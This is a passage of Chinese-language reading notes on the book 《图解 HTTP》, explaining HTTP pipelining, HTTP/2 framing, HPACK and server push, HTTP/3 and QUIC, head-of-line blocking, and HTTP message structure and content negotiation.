客户端通过 FIFO 队列把多个 TCP 请求封装成一个发给了服务端,服务端虽然可以通过处理 FIFO 队列的多个请求,但是必须等所有请求完成再按照 FIFO 发送的顺序挨个响应回去,也就是说其实并没有根本上解决堵塞问题。


管道化的技术虽然很方便,但是限制和规矩比好处要多得多,并且有点脱裤子放屁的意思。结果是并没有十分普及也没有多少服务端使用,多数的 HTTP 请求也会禁用管道化防止服务端请求堵塞迟迟不进行响应。


管道化小结


  1. 实际上管道化可以看做原本阻塞在客户端一条条处理的请求,变为阻塞在服务端的一条条请求。

  2. 管道化请求通常是 GET 和 HEAD 请求,POST 和 PUT 不需要管道化, 管道化只能利用已存在的keep-alive连接。

  3. 管道化是 HTTP1.1 协议下,服务器不能很好处理并行请求的改进,但是这个方案不理想,围魏救赵失败并且最终被各大浏览器禁用掉。

  4. FIFO 队列的有序和 TCP 的有序性区别可以简单认为是强一致性和弱一致性的区别。FIFO 队列有序性指的是请求和响应必须按照队列发送的规则完全一样,而 TCP 仅仅是保证了发送和响应的大致逻辑顺序,真实的情况和描述的情况可能不一致。

  5. 因为管道是把累赘丢给了服务端,从客户端的角度来看自己完成了全双工的通信。实际上这只是伪全双工通信。


Cookie


Cookie 的内容不是本书重点,如果需要了解相关知识可以直接往上查询资料了解,基本一抓一大把。

2.2.5 [HTTP/2](HTTP/2 (ietf.org))

HTTP2 的协议改动比较大,从整体上来看主要是下面一些重要调整:


  • SPDY:这个概念是谷歌提出的,起初是希望作为一个独立协议,但是最终 SPDY 的相关技术人员参与到了 HTTP/2,所以谷歌浏览器后面全面支持 HTTP/2 放弃了 SPDY 单独成为协议的想法,对于 SPDY,具有如下的改进点:

  • HTTP Speed + Mobility:微软提出改善移动端通信的速度和性能标准,它建立在 Google 公司提出的 SPDY 与 WebSocket 的基础之上。

  • Network-Friendly HTTP Upgrade:移动端通信时改善 HTTP 性能。


从三者的影响力来看,显然是 Google 的影响力是最大的,从 HTTP3.0 开始以谷歌发起可以看出 HTTP 协议的标准制定现在基本就是谷歌说了算。


接着我们就来看看最重要 SPDY,谷歌是一个极客公司,SPDY 可以看做是 HTTP1.1 和 HTTP/2 正式发布之间谷歌弄出来的一个提高 HTTP 协议传输效率的“玩具” ,重点优化了 HTTP1.X 的请求延迟问题,以及解决 HTTP1.X 的安全性问题:


  • 降低延迟(多路复用):使用多路复用来降低高延迟的问题,多路复用指的是使用 Stream 让多个请求可以共享一个 TCP 连接,解决 HOL Blocking(head of line blocking)(队头阻塞)的问题,同时提升带宽利用率。

  • HTTP1.1 中keep-alive用的是http pipelining本质上也是multiplexing,但是具体实现方案不理想 。

  • 主流浏览器都默认禁止pipelining,也是因为 HOL 阻塞问题导致。

  • 服务端推送:HTTP1.X 的推送都是半双工,所以在 2.0 是实现真正的服务端发起请求的全双工,另外在 WebSocket 在这全双工一块大放异彩。

  • 请求优先级:针对引入多路复用的一个兜底方案,多路复用使用多个 Stream 的时候容易单请求阻塞问题。也就是前文所说的和管道连接一样的问题,SPDY 通过设置优先级的方式让重要请求优先处理,比如页面的内容应该先进行展示,之后再加载 CSS 文件美化以及加载脚本互动等等,实际减少用户不会在等待过程中关闭页面到几率。

  • Header 压缩:HTTP1.X 的 header 很多时候都是多余的,所以 2.0 会自动选择合适的压缩算法自动压缩请求加快请求和响应速度。

  • 基于 HTTPS 的加密协议传输:HTTP1.X 本身是不会加入 SSL 加密的,而 2.0 让 HTTP 自带 SSL,从而提高传输可靠和稳定性。


这些内容在后续大部分都被 HTTP/2 采纳,下面就来看看 HTTP/2 具体的实施细节。


HTTP/2 具体实施(重点)


当然这一部分也只讲到了协议中一些重点的升级内容,详细内容请参考“参考资料”活着点击 HTTP/2 的标题。


二进制帧(Stream)


HTTP/2 使用流(二进制)替代 ASCII 编码传输提升传输效率,客户端发送的请求都会封装为带有编号的二进制帧,然后再发送给服务端处理。


HTTP/2 通过 一个 TCP 连接完成多次请求操作,服务端接受流数据并且检查编号将其合并为一个完整的请求内容,这样同样需要按照二进制帧的拆分规则拆分响应。像这样利用二进制分帧 的方式切分数据,客户端和服务端只需要一个请求就可以完成通信,也就是 SPDY 提到的多个 Stream 合并到一个 TCP 连接中完成。


二进制分帧把数据切分成更小的消息和帧,采用了二进制的格式进行编码,在HTTP1.1 当中首部消息封装到 Headers 当中,然后把Request body 封装到 Data 帧。



使用二进制分帧目的是向前兼容,需要在应用层和传输层之间加一层二进制分帧层,让 HTTP1.X 协议更加简单的升级同时不会对过去的协议产生冲突 。


帧、消息、Stream 之间的关系


  • 帧:可以认为是流当中的最小单位。

  • 消息:表示 HTTP1.X 中的一次请求。

  • Stream:包含 1 条或者多条 message。


二进制分帧结构


二进制分帧结构主要包含了头部帧和数据帧两个部分,头部在帧数只有 9 个字节,注意 R 属于标志位保留。所以整个算下来是:


3 个字节帧长度+1 个字节帧类型 + 31bit 流标识符、1bit 未使用标志位 构成。



帧长度:数据帧长度,24 位的 3 字节大小,取值为 2^14(16384) - 2^24(1677215)之间,接收方的 SETTINGS_MAS_FRAM_SIZE 设置。


帧类型:分辨数据帧还是控制帧。


标志位:携带简单控制信息,标志位表示流的优先级。


流标识符:表示帧属于哪一个流的,上限为 2 的 31 次方,接收方需要根据流标识的 ID 组装还原报文,同一个 Stream 的消息必须是有序的。此外客户端和服务端分别用奇数和偶数标识流,并发流使用了标识才可以应用多路复用。


R:1 位保留标志位,暂未定义,0x0 为结尾。


帧数据:实际传输内容由帧类型指定。


如果想要知道更多细节,可以参考“参考资料”部分的官方介绍以及结合 WireShark 抓包使用,本读书笔记没法面面俱到和深入


最后是补充帧类型的具体内容,帧类型定义了 10 种类型的帧数:



多路复用 (Multiplexing)


有了前面二进制帧结构的铺垫,现在再来看看多路复用是怎么回事,这里首先需要说明在过去的 HTTP1.1 中存在的问题:


同一时间同一域名的请求存在访问限制,超过限制的请求会自动阻塞。


在传统的解决方案中是利用多域名访问以及服务器分发的方式让资源到特定服务器加载,让整个页面的响应速度提升。比如利用多个域名的 CDN 进行访问加速


随着 HTTP/2 的更新,HTTP2 改用了二进制帧作为替代方案,允许单一的 HTTP2 请求复用多个请求和响应内容,也就是说可以一个包里面打包很多份“外卖”一起给你送过来。



此外,流控制数据也意味着可以支持多流并行而不过多依赖 TCP,因为通信缩小为一个个帧,帧内部对应了一个个消息,可以实现并行的交换消息。


Header 压缩(Header Compression)


HTTP1.X 不支持 Header 压缩,如果页面非常多的去看下会导致带宽消耗和不必要的浪费。


针对这个问题在 SPDY 中 的解决方案是利用 DEFLATE 格式的字段,这种设计非常有效,但是实际上存在 CRIME 信息泄露的攻击手段。


在 HTTP/2 当中定义了 HPACK,HPACK 算法通过静态的哈夫曼编码对于请求头部进行编码减少传输大小,但是需要让客户端和服务端之间维护首部表,首部表可以维护和存储之前发过的键值对信息,对于重复发送的报文内容可以直接通过查表获取,减少冗余数据产生,后续的第二个请求将会发送不重复的数据。


HPACK 压缩算法主要包含两个模块,索引表哈夫曼编码,索引表同时分为动态表和静态表,静态表内部预定义了 61 个 Header 的 K/V 数值,而动态表是先进先出的队列,初始情况下内容为空,而解压 header 则需要每次添加的时候放到队头,移除从队尾开始。


注意动态表为了防止过度膨胀占用内存导致客户端崩溃,在超过一定长度过后会自动释放 HTTP/2 请求。


HPACK 算法


HPACK 算法是对于哈夫曼算法的一种应用和改进,哈夫曼算法经典案例是就是 ZIP 压缩,也就是虽然我们可能不清楚却是可能天天在用的一个东西。


HPACK 算法的思路是在客户端和服务端两边各维护一个哈希表,然后双端通过表中缓存 Headers 字段减少流中二进制数据传输,进而提高传输效率。


HPACK 三个主要组件有如下细节:


  • 静态表:HTTP2 为出现在头部的字符串和字段静态表,包含 61 个基本的 headers 内容,

  • 动态表:静态表只有 61 个字段,所以利用动态表存储不在静态表的字段,从 62 开始进行索引,在传输没有出现的字段时候,首先对于建立索引号,然后字符串需要经过哈夫曼编码完成二进制转化发给服务器,如果是第二次发送则找到对应的动态表的索引找到即可,这样有效避免一些冗余数据的传输。

  • 哈夫曼编码:这一算法非常重要,对于近代互联网的发展有着重大影响。


哈夫曼编码:是一种用于无损数据压缩熵编码(权编码)算法。由美国计算机科学家大卫·霍夫曼(David Albert Huffman)在 1952 年发明。 霍夫曼在 1952 年提出了最优二叉树的构造方法,也就是构造最优二元前缀编码的方法,所以最优二叉树也别叫做霍夫曼树,对应最优二元前缀码也叫做霍夫曼编码。


下面为哈夫曼编码对应的原始论文:


哈夫曼编码原始论文:

链接:https://pan.baidu.com/s/1r_yOVytVXb-zlfZ6csUb2A?pwd=694k 提取码:694k


此外这里有个讲的比较通俗的霍夫曼的视频,强烈建议反复观看,能帮你快速了解哈夫曼编码是怎么回事,当然前提是得会使用魔法。


https://www.youtube.com/watch?v=Jrje7ep5Ff8&t=29s


请求优先级


请求优先级实际上并不是 HTTP/2 才出现的,在此之前的的 RFC7540 中定义了一套优先级的相关指令,但是由于它过于复杂最后并没用被普及,但是里面的信息依然是值得参考的。


HTTP/2 的内容取消了所有关于 RFC7540 优先级的指令,所有的描述被删除并且被保留在原本的协议当中。


HTTP/2 利用多路复用,所以有必要优先使用重要的资源分配到前面优先加载,但是实际上在实现方案过程中优先级是不均衡的,许多服务器实际上并不会观察客户端的请求和行为。


最后还有根本性的缺点,也就是 TCP 层是无法并行的,在单个请求当中的使用优先级甚至有可能性能弱于 HTTP1.X。


流量控制


所谓流量控制就是数据流之间的竞争问题,需要注意 HTTP2 只有流数据才会进行控制,通过使用WINDOW_UPDATE帧来提供流量控制。


注意长度不是 4 个八位字节的window_update 帧需要视为 frame_size_error的错误进行响应。


PS:下面的设计中有效载荷是保留位+ 31 位的无符号整数,表示除了现在已经有的流控制窗口之外还能额外传输 8 个字节数的数据,所以最终合法范围是 1到 2^31 - 1 (2,147,483,647) 个八位字节。


WINDOW_UPDATE Frame {  Length (24) = 0x04,  Type (8) = 0x08,
Unused Flags (8),
Reserved (1), Stream Identifier (31),
Reserved (1), Window Size Increment (31),}
复制代码


对于流量控制,存在下面几个显著特征:


  • 流量控制需要基于 HTTP 中间的各种代理服务器控制,不是非端到端的控制;

  • 基于信用基础公布每个流在每个连接上接收了多少字节,WINDOW_UPDATE 框架没有定义任何标志,并没有强制规定;

  • 流量的控制存在方向概念,接收方负责流量控制,并且可以设置每一个流窗口的大小;

  • WINDOW_UPDATE 可以对于已设置了 END_STREAM 标志的帧进行发送,表示接收方这时候有可能进入了半关闭或者已经关闭的状态接收到 WINDOW_UPDATE 帧,但是接收者不能视作错误对待;

  • 接收者必须将接收到流控制窗口增量为 0 的 WINDOW_UPDATE 帧视为PROTOCOL_ERROR类型的流错误 ;


服务器推送


服务器推送意图解决 HTTP1.X 中请求总是从客户端发起的弊端,服务端推送的目的是更少客户端的等待以及延迟。但是实际上服务端推送很难应用,因为这意味着要预测用户的行为。服务端推送包含推送请求推送响应的部分。


推送请求


推送请求使用PUSH_PROMISE 帧作为发送,这个帧包含字段块,控制信息和完整的请求头字段,但是不能携带包含消息内容的相关信息,因为是指定的帧结构,所以客户端也需要显式的和服务端进行关联,所以服务端推送 请求也叫做“Promised requests”。


当请求客户端接收之后是传送CONTINUATION帧,CONTINUATION帧头字段必须是一组有效的请求头字段,服务器必须通过":method"伪字段头部添加安全可缓存的方法,如果客户端收到的缓存方法不安全则需要在PUSH_PROMISE帧上响应错误,这样的设计有点类似两个特务对暗号,一个暗号对错了就得立马把对方弊了。


PUSH_PROMISE可以在任意的客户端和服务端进行传输,但是有个前提是流对于服务器需要保证“半关闭“或者“打开“的状态,否则不允许通过CONTINUATION或者HEADERS 字段块传输。


PUSH_PROMISE帧只能通过服务端发起,因为专为服务端推送设计,使用客户端推送是“不合法“的。


PUSH_PROMISE 帧结构:


再次强调有效载荷是一个保留位+ 31 位的无符号整数。有效载荷是什么?是对于 HTTP1.1 协议中实体的术语重新定义,可以简单看做是报文的请求 Body。


下面是对应得源代码定义:


PUSH_PROMISE帧定义


PUSH_PROMISE Frame {  Length (24),  Type (8) = 0x05,    Unused Flags (4),  PADDED Flag (1),  END_HEADERS Flag (1),  Unused Flags (2),
Reserved (1), Stream Identifier (31),
[Pad Length (8)], Reserved (1), Promised Stream ID (31), Field Block Fragment (..), Padding (..2040),}
复制代码


CONTINUATION 帧:用于请求接通之后继续传输,注意这个帧不是专用于服务端推送的。


CONTINUATION Frame {  Length (24),  Type (8) = 0x09,
Unused Flags (5), END_HEADERS Flag (1), Unused Flags (2),
Reserved (1), Stream Identifier (31),
Field Block Fragment (..),}
复制代码


推送响应


如果客户端不想接受请求或者服务器发起请求的时间过长,可以通过RST_STREAM 帧代码标识发送CANCEL 或者REFUSED_STREAM 内容告诉服务器自己不接受服务端请求推送。


而如果客户端需要接收这些响应信息,则需要按照之前所说传递CONTINUATION以及PUSH_PROMISE接收服务端请求。


其他特点:


  1. 客户端可以使用SETTINGS_MAX_CONCURRENT_STREAMS设置来限制服务器可以同时推送的响应数量。

  2. 如果客户端不想要接收服务端的推送流,可以把SETTINGS_MAX_CONCURRENT_STREAMS设置为 0 或者重置PUSH_PROMISE保留流进行处理。

2.2.6 HTTP/3

进度追踪:RFC 9114 - HTTP/3 (ietf.org)


为什么会存在 3?


可以发现 HTTP/2 虽然有了质的飞跃,但是因为 TCP 协议本身的缺陷,队头阻塞的问题依然可能存在,同时一旦出现网络拥堵会比 HTTP1.X 情况更为严重(用户只能看到一个白板)。


所以后续谷歌的研究方向转为研究 QUIC,实际上就是改良 UDP 协议来解决 TCP 协议自身存在的问题。但是现在看来这种改良不是很完美,目前国内部分厂商对于 QUIC 进行自己的改进。


HTTP/3 为什么选择 UDP


这就引出另一个问题,为什么 3.0 有很多协议可以选择,为什么使用 UDP?通常有下面的几个点:


  • 基于 TCP 协议的设备很多,兼容十分困难。

  • TCP 是 Linux 内部的重要组成,修改非常麻烦,或者说压根不敢动。

  • UDP 本身无连接的,没有建立连接和断连的成本。

  • UDP 数据包本身就不保证稳定传输所以不存在阻塞问题(属于爱要不要)。

  • UDP 改造相对其他协议改造成本低很多


HTTP/3 新特性


  • QUIC(无队头阻塞):优化多路复用,使用 QUIC 协议代替 TCP 协议解决队头阻塞问题,QUIC 也是基于流设计但是不同的是一个流丢包只会影响这一条流的数据重传,TCP 基于 IP 和端口进行连接,多变的移动网络环境之下十分麻烦,QUIC 通过 ID 识别连接,只要 ID 不变,网络环境变化是可以迅速继续连接的。

  • 0RTT:注意建立连接的 0TT 在 HTTP/3 上目前依然没有实现,至少需要 1RTT。


RTT:RTT Round Trip Time 的缩写,简单来说就是通信一来一回的时间。 RTT 包含三部分:

  • 往返传播延迟。

  • 网络设备排队延迟。

  • 应用程序处理延迟。


HTTPS 建立完整连接通常需要 TCP 握手和 TLS 握手,至少要 2-3 个 RTT,普通的 HTTP 也至少要 1 个 RTT。QUIC 的目的是除开初次连接需要消耗 1RTT 时间之外,其他的连接可以实现 0RTT。


为什么无法做到初次交互 0RTT? 因为初次传输说白了依然需要传输两边到密钥信息,因为存在数据传输所以依然需要 1 个 RTT 的时间完成动作,但是在完成握手之后的数据传输只需要 0RTT 的时间。


  • 前向纠错:QUIC 的数据包除了本身的内容之外,还允许携带其他数据包,在丢失一个包的时候,通过携带其他包的数据获取到丢包内容。

  • 具体要怎么做呢?例如 3 个包丢失一个包,可以通过其他数据包(实际上是校验包)异或值计算出丢失包的“编号”然后进行重传,但是这种异或操作只能针对一个数据包丢失计算,如果多个包丢失,用异或值是无法算出一个以上的包的,所以这时候还是需要重传(但是 QUIC 重传代价比 TCP 的重传低很多)。

  • 连接迁移:QUIC 放弃了 TCP 的五元组概念,使用了 64 位的随机数 ID 充当连接 ID,QUIC 协议在切换网络环境的时候只要 ID 一致就可以立马重连。对于现代社会经常 wifi 和手机流量切换的情况十分好用的一次改进。


术语解释⚠️:

5 元组:是一个通信术语,英文名称为 five-tuple,或 5-tuple,通常指由**源 Ip (source IP), 源端口(source port),目标 Ip (destination IP), 目标端口(destination port),4 层通信协议 (the layer 4 protocol)**等 5 个字段来表示一个会话,是会话哦。这个概念在《网络是怎么样连接的》这本书中也有提到类似的概念。那就是在第一章中创建套接字的步骤,创建套接字实际上就需要用到这个五元祖的概念,因为要创建“通道”需要双方给自告知自己的信息给对方自己的 IP 和端口,这样才能完成通道创建和后续的协议通信。

顺带拓展一下 4 元组和 7 元组。

4 元组:即用 4 个维度来确定唯一连接,这 4 个维度分别是**源 Ip (source IP), 源端口(source port),目标 Ip (destination IP), 目标端口(destination port)**。

7 元组:即用 7 个字段来确定网络流量,即源 Ip (source IP), 源端口(source port),目标 Ip (destination IP), 目标端口(destination port),4 层通信协议 (the layer 4 protocol),服务类型(ToS byte),接口索引(Input logical interface (ifIndex))


  • 加密认证的报文:QUIC 默认会对于报文头部加密,因为 TCP 头部公开传输,这项改进非常重要。

  • 流量控制,传输可靠性:QUICUDP 协议上加了一层数据可靠传输的可靠性传输,因此流量控制和传输可靠性都可以得到保证。

  • 帧格式变化

  • 下面是网上资料对比 HTTP2 和 3 之间的格式差距,可以发现HTTP/3 帧头只有两个字段:类型和长度。帧类型用来区分数据帧和控制帧,这一点是继承自 HTTP/2 的变化,数据帧包含 HEADERS 帧,DATA 帧,HTTP 包体。


  • 关于 2.0 的头部压缩算法升级成了 QPACK算法:需要注意 HTTP3 的 **QPACK**算法与 HTTP/2 中的 HPACK 编码方式相似,HTTP/3 中的 QPACK 也采用了静态表、动态表及 Huffman 编码。

  • 那么相对于之前的算法HPACKQPACK算法有什么升级呢?首先HTTP/2 中的 HPACK 的静态表只有 61 项,而 HTTP/3 中的 QPACK 的静态表扩大到 91 项。

  • 最大的区别是对于动态表做了优化,因为在 HTTP2.0 中动态表存在时序性的问题。

  • 所谓时序性问题是在传输的时候如果出现丢包,此时一端的动态表做了改动,但是另一端是没改变的,同样需要把编码重传,这也意味着整个请求都会阻塞掉。



因此 HTTP3 使用 UDP 的高速,同时保持 QUIC 的稳定性,并且没有忘记 TLS 的安全性,在 2018 年的 YTB 直播中宣布 QUIC 作为 HTTP3 的标准。


YTB 地址:(2) IETF103-HTTPBIS-20181108-0900 - YouTube,可怜互联网的天花板协议制定团队 IETF 连 1 万粉丝都没有。


2.3 HTTP 部分问题讨论

2.3.1 队头阻塞问题(head of line blocking)

队头阻塞问题不仅仅只是处在 HTTP 的问题,实际上更加底层的协议以及网络设备通信也会存在线头阻塞问题。


交换机


当交换机使用 FIFO 队列作为缓冲端口的缓冲区的时候,按照先进先出的原则,每次都只能是最旧的网络包被发送,这时候如果交换机输出端口存在阻塞,则会发生网络包等待进而造成网络延迟问题。


但是哪怕没有队头阻塞,FIFO 队列缓冲区本身也会卡住新的网络包,在旧的网络包后面排队发送,所以这是 FIFO 队列本身带来的问题。


有点类似核酸排队,前面的人不做完后面的人做不了,但是前面的人一直不做,后面也只能等着。


交换机 HO 问题解决方案


使用虚拟输出队列的解决方案,这种方案的思路是只有在输入缓冲区的网络包才会出现 HOL 阻塞,带宽足够的时候不需要经过缓冲区直接输出,这样就避免 HOL 阻塞问题。


无输入缓冲的架构在中小型的交换机比较常见。


线头阻塞问题演示


交换机:_交换机根据 MAC 地址表查找 MAC 地址, 然后将信号发送到相应的端口_一个网络信号转接设备,有点类似电话局中转站。


线头阻塞示例:第 1 和第 3 个输入流竞争时,将数据包发送到同一输出接口,在这种情况下如果交换结构决定从第 3 个输入流传输数据包,则无法在同一时隙中处理第 1 个输入流。


请注意,第一个输入流阻塞了输出接口 3 的数据包,该数据包可用于处理。


无序传输


因为 TCP 不保证网络包的传输顺序,所以可能会导致乱序传输,HOL 阻塞会显著的增加数据包重新排序问题。


同样为了保证有损网络可靠消息传输,原子广播算法虽然解决这个问题,但是本身也会产生 HOL 阻塞问题,同样是由于无序传输带来的通病。


Bimodal Multicast 算法是一种使用 gossip 协议的随机算法,通过允许乱序接收某些消息来避免线头阻塞。


HTTP 线头阻塞


HTTP 在 2.0 通过多路复用的方式解决了 HTTP 协议的弱点并且真正意义上消除应用层 HOL 阻塞问题,但是 TCP 协议层的无序传输依然是无法解决的。


于是在 3.0 中直接更换 TCP 协议为 QUIC 协议消除传输层的 HOL 阻塞问题。

2.4.2 HTTP/2 全双工支持

注意 HTTP 直到 2.0 才是真正意义上的全双工,所谓的 HTTP 支持全双工是混淆了 TCP 协议来讲的,因为 TCP 是支持全双工的,TCP 可以利用网卡同时收发数据。


为了搞清楚 TCP 和 HTTP 全双工的概念, 应该理解 HTTP 中双工的两种模式:半双工(http 1.0/1.1),全双工(http 2.0)


半双工:同一时间内链接上只能有一方发送数据而另一方接受数据。


  • http 1.0 是短连接模式,每个请求都要建立新的 tcp 连接,一次请求响应之后直接断开,下一个请求重复此步骤。

  • http 1.1 是长连接模式,可以多路复用,建立 tcp 连接不会立刻断开,资源 1 发送响应,资源 2 发送响应,资源 3 发送响应,免去了要为每个资源都建立一次 tcp 的开销。


全双工:同一时间内两端都可以发送或接受数据 。


  • http 2.0 资源 1 客户端发送请求不必等待响应就可以继续发送资源 2 的请求,最终实现一边发,一边收。

2.4.3 HTTP 2.0 缺点

  • 解决了 HTTP 的队头请求阻塞问题,但是没有解决 TC P 协议的队头请求阻塞问题,此外 HTTP/2 需要同时使用 TLS 握手和 HTTP 握手耗时,同时在 HTTPS 连接建立之上需要使用 TLS 进行传输。

  • HTTP/2 的队头阻塞出现在当 TCP 出现丢包的时候,因为所有的请求被放到一个包当中,所以需要重传,TCP 此时会阻塞所有的请求。但是如果是 HTTP1.X,那么至少是多个 TCP 连接效率还要高一些,

  • 多路复用会增大服务器压力,因为没有请求数量限制,短时间大量请求会瞬间增大服务器压力

  • 多路复用容易超时,因为多路复用无法鉴定带宽以及服务器能否承受多少请求。


丢包不如 HTTP1.X


丢包的时候出现的情况是 HTT P2.0 因为请求帧都在一个 TCP 连接,意味着所有的请求全部要跟着 TCP 阻塞,在以前使用多个 TCP 连接来完成数据交互,其中一个阻塞其他请求依然可以正常抵达反而效率高。


二进制分帧目的


根本目的其实是为了让更加有效的利用 TCP 底层协议,使用二进制传输进一步减少数据在不同通信层的转化开销。


HTTP1.X 的 Keep-alive 缺点


  • 必须按照请求响应的顺序进行交互,HTTP2 的多路复用则必须要按顺序响应。

  • 单个 TCP 一个时刻处理一个请求,但是 HTTP2 同一个时刻可以同时发送多个请求,同时没有请求上限。

2.4.4 HTTP 协议真的是无状态的么?

仔细阅读 HTTP1.x 和 HTTP/2 以及 HTTP3.0 三个版本的对比,其实会发现 HTTP 无状态的定义偷偷发生了变化的,为什么这么说?


在讲解具体内容之前,我们需要弄清一个概念,那就是 Cookie 和 Session 虽然让 HTTP 实现了“有状态”,但是其实这和 HTTP 协议本身的概念是没有关系的。


CookieSession的出现根本目的是保证会话状态本身的可见性,两者通过创立多种独立的状态“模拟”用户上一次的访问状态,但是每一次的 HTTP 请求本身并不会依赖上一次 HTTP 的请求,单纯从广义的角度看待其实所有的服务都是有状态的,但是这并不会干扰 HTTP1.X 本身无状态的定义。


此外 HTTP 协议所谓的无状态指的是每个请求是完全的独立的,在 1.0 备忘录定义也可以看出一次 HTTP 连接其实就是一次 TCP 连接,到了 HTTP1.1 实现了一个 TCP 多个 HTTP 连接依然是可以看做独立的 HTTP 请求。


说了这么多,其实就是说 HTTP1.X 在不靠 Cookie 和 Session 扶着的时候看做无状态是对的,就好比游戏里面的角色本身的数值和武器附加值的对比,武器虽然可以让角色获得某种状态,但是这种状态并不是角色本身特有的,而是靠外力借来的。


然而随着互联网发展,到了 HTTP/2 和 HTTP3 之后,HTTP 本身拥有了“状态”定义。比如 2.0 关于 HEADER 压缩产生的 HPACK 算法(需要维护静态表和动态表),3.0 还对 HPACK 算法再次升级为 QPACK 让传输更加高效。


所以总结就是严谨的来说 HTTP1.X 是无状态的,在 Cookie 和 Session 的辅助下实现了会话访问状态的保留。


到了 HTTP/2 之后 HTTP 是有状态的, 因为在通信协议中出现了一些状态表来维护双方重复传递的 Header 字段减少数据传输。

2.4 小结

这一章节本来应该是全书的核心内容,奈何作者似乎并不想让读者畏惧,所以讲的比较浅显,个人花费了不少精力收集网上资料结合自己的思考整理出第二章的内容。


关于 HTTP 的整个发展史是有必要掌握的,因为八股有时候会提到相关问题,问的深入一些确实有些顶不住,HTTP 协议也是应用层通信协议的核心,其次作为 WEB 开发人员个人认为是更是有必要掌握的。


另外了解 HTTP 的设计本身可以让我们过渡到 TCP 协议的了解,TCP 的设计导致了 HTTP 设计的影响等问题可以做更多思考。


关于更多内容建议可以看看《网络是怎么样连接》的这一篇读书笔记,原书从整个 TCP/IP 结构的角度通俗的讲述了有关互联网发展的基本脉络,而这一篇讲述了 HTTP 发展的基本历史和未来的发展方向。

三、《图解 HTTP》- 报文内的 HTTP 信息

知识点

  1. HTTP 请求报文结构。

  2. 请求报文和主体差异,介绍有关报文和主体相关的一些概念信息。

  3. 内容协商:什么是内容协商?关于内容协商的几种方式。

3.1 HTTP 请求报文结构

请求和响应报文的结构如下:



下面是有关请求报文请求和响应的案例。


3.2 报文和主体差异

为了提高 HTTP 传输效率,在请求中可以通过 HTTP 请求报文和实体加工的方式对于报文原文进行“编码”,这里的编码并不是单指文本字符串,而是更抽象意义上的编码。


介绍具体的内容之前我们需要先分清楚两个术语:报文实体


报文:是 HTTP 通信中的基本单位,由 8 位组 字节流(octet sequence,其中 octet 为 8 个比特)组成,通过 HTTP 通信传输。


实体(entity):作为请求或响应的 有效载荷数据(补充项)被传输,其内容由实体首部和实体主体组成。


为了理解实体的概念,需要了解有效载荷是怎么一回事:


负载(英语:Payload):负载指的是需要传输的实体数据信息,这也是为什么叫数据实体的原因。当然也可以叫做信头与元数据,或称为开销数据,仅用于辅助数据传输。


(header):指的是在一块数据存储或传输之际在头追加的数据,这些信息是对数据区的描述。


元数据(英语:metadata):……为描述其他数据信息的数据。


划掉实体是因为术语实体(entity)被有效载荷(payload)代替,书中所提到 2616 版本很多解释已经被废弃了,现在**RFC 2616 **已经被 RFC 7230 、 7235 取

代了。

下面这篇文章中讨论了实体和载荷的区别,以及为什么要取代载荷

#109 (Clarify entity / representation / variant terminology) – Hypertext Transfer Protocol Wiki (ietf.org)


有关负载的解释


原文:


Replaced entity with payload and variant with representation. Cleaned up description of 204 status code (related to ticket #22) Rewrote section on Content-Location and refer to def in RFC2557.


另外维基上有一个关于生活当中“有效载荷”的术语解释,通过描述可以从侧面理解官方为什么突然要把实体的概念重新解释。


摘自维基百科“有效载荷”:有效载荷是飞机运载火箭携带的物体。有时,有效载荷也指飞机或运载火箭能够承载的重量。根据任务的性质,载具的有效载荷可能是货物乘客机组人员弹药、科学仪器或实验或其他设备。如果可以选择性携带,那额外的燃料也会被视为有效载荷的一部分,如空中加油任务。


个人认为负载(叫负荷也可以)这个解释要比实体这个解释好理解一些(实体稍显抽象),并且不会丢失实体本身的含义。


接着我们通过对比 Chrome 和 Edge 浏览器,发现在目前的版本中均存在负载的概念,过去的版本中实际上这部分内容被放到报文的请求实体 中,很显然这是不严谨的,在那个时候被称作实体


当然这两年这部分悄悄做了调整,显然在后续 RFC 修订协议过程中这些浏览器也对于这些概念进行跟进,不知道有多少人关注过,嗯,又是一个小细节。




所以负载概念取代实体概念目的是防止混淆(因为确实很容易搞混),实际上实体也分为首部和其他信息,实体首部是对该负载的描述,而负载和其它一些信息(请求行/状态行、各种首部字段等等)组织成报文进行传输。


书中有这样的图帮助我们了解实体和报文的差别,这张图也能说明为什么很多解释会把报文和实体(有效负载)看做是订单和货物的关系。



更头疼的概念


实际上还用更容易混淆的概念,**message body** 和 **payload body**。


根据 RFC 7230


HTTP 报文的报文主体(message body)(如果存在的话)是用来运载请求或响应的有效载荷主体(payload body)的。除非应用了传输编码,报文主体等价于有效载荷主体


换句话说只有在应用了传输编码的时候,负载=实体首部+实体主体,目前主要应用的传输编码是Transfer-Encoding: chunked,也就是分块传输的去看下负载的概念会出现转变,否则可以简单看做是报文的请求 Body。


HTTP 报文的主体用于传输请求或响应的实体主体,对于主体的处理优化 HTTP 在后续的版本中实现了下面这些特性:


  1. 压缩传输

  2. 分块传输编码

  3. 多数据多对象集合


压缩传输


首先需要明确到的是压缩是在负载上面完成的,并且压缩需要保证信息不遗失的原样压缩,否则压缩不完整的数据会导致数据发生错误。


常见的压缩方式是下面几种,其中 gzip 是图片经常使用的压缩方式:


  • `gzip(GNU zip)``

  • compress(UNIX 系统的标准压缩)

  • deflate(zlib)

  • identity(不进行编码)


压缩传输是有代价的,因为这个操作需要计算机完成,所以会增加服务器的工作量,不过这一点开销完全可以接受。


分块传输编码


实体主体分块的功能称为分块传输编码(Chunked TransferCoding),分块传输指的是传输编码会将实体内容拆分为多个块(chunck),也就是前文提到的Transfer-Encoding: chunked


需要注意在负载主体的最后一块会使用“0(CR+LF)”来标记块的大小。


多数据多对象集合


多数据多对象集主要包含如下内容:


  • mulitpart/form-data:在 Web 表单文件上传时使用;

  • mulitpart/byteranges:状态码 206(Partial Content,部分内容)响应报文包含了多个范围的内容时使用;


需要使用多数据多对象集合,需要在 HTTP 中指定Content-Type 首部字段。


enctype 属性


多数据多对象集合的一个代表属性,主要的作用是告知服务器自己将会传输什么类型的数据。


最常见的多部分对象集合的实际应用就是使用 HTML 表单发送文件。文件是二进制数据(或被视为二进制数据),而所有其他数据都是文本数据。由于 HTTP 是一种文本协议,因此对处理二进制数据有特殊要求。

3.3 内容协商

内容协商比较典型的案例是国际化,内容协商有点类似转译,服务器和客户端之间需要协商出一种最为合适的“中间”语言进行交流,然后按照字符集和编码格式进行交互。


基准和判断的基准是下面这几个首部字段的信息:


AcceptAccept-CharsetAccept-EncodingAccept-LanguageContent-Language
复制代码


比如下面的维基在请求请求首部中就用到了这些信息。


